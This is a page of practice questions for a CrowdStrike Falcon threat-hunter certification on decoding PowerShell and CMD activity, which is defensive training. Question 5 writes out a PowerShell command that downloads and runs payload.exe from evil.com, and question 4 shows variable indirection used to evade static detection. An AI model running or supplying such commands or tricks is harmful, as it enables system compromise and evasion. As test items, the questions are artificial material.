6.5 Decode and Understand PowerShell/CMD Activity CCFH Practice Questions (Page 1)

Questions 1–5

1. 1foundation · easy

   In CMD, what is the effect of using `^` (caret) before a character?

   • AIt redirects the output of the command to a file.
   • BIt escapes the next character, preventing it from being interpreted as a special character.
   • CIt repeats the previous command.
   • DIt runs the command in a new window.
   Reveal Solution Discussion Select an answer first
2. 2foundation · easy

   A Falcon Hunter is reviewing a PowerShell command line that includes the parameter `-EncodedCommand`. What does this parameter indicate about the command?

   • AThe command will be executed in a new PowerShell process.
   • BThe command will be logged in plaintext in the event log.
   • CThe command will run with elevated administrator privileges.
   • DThe command is provided as a base64-encoded string that PowerShell decodes and executes.
   Reveal Solution Discussion Select an answer first
4. 3foundation · easy

   What does the `-ExecutionPolicy Bypass` parameter do when launching PowerShell?

   • AIt permanently changes the system's execution policy to Bypass.
   • BIt allows scripts to run without any execution policy restrictions for that process.
   • CIt runs the command as an administrator.
   • DIt disables all PowerShell logging for the session.
   Reveal Solution Discussion Select an answer first
5. 4expert · hard

   A threat hunter is analyzing a CMD command line that appears as: `cmd.exe /c "set a=whoami & set b=^%a^% & call %b%"`. The analyst suspects obfuscation. What is the most likely purpose of this command?

   • AExecute the whoami command using variable indirection to evade static detection
   • BCreate a batch file that runs whoami when executed
   • CSet environment variables for later use in the session
   • DChange the current directory to the user's home folder
   Reveal Solution Discussion Select an answer first
6. 5foundation · easy

   A hunting hypothesis is 'An attacker is using PowerShell to download and execute a payload from a remote server.' Which decoded command line would most directly support this hypothesis?

   • A`powershell -Command "Invoke-WebRequest -Uri http://evil.com/payload.exe -OutFile C:\temp\payload.exe; Start-Process C:\temp\payload.exe"`
   • B`cmd.exe /c whoami`
   • C`powershell -Command "Get-Process"`
   • D`powershell -enc <base64>`
   Reveal Solution Discussion Select an answer first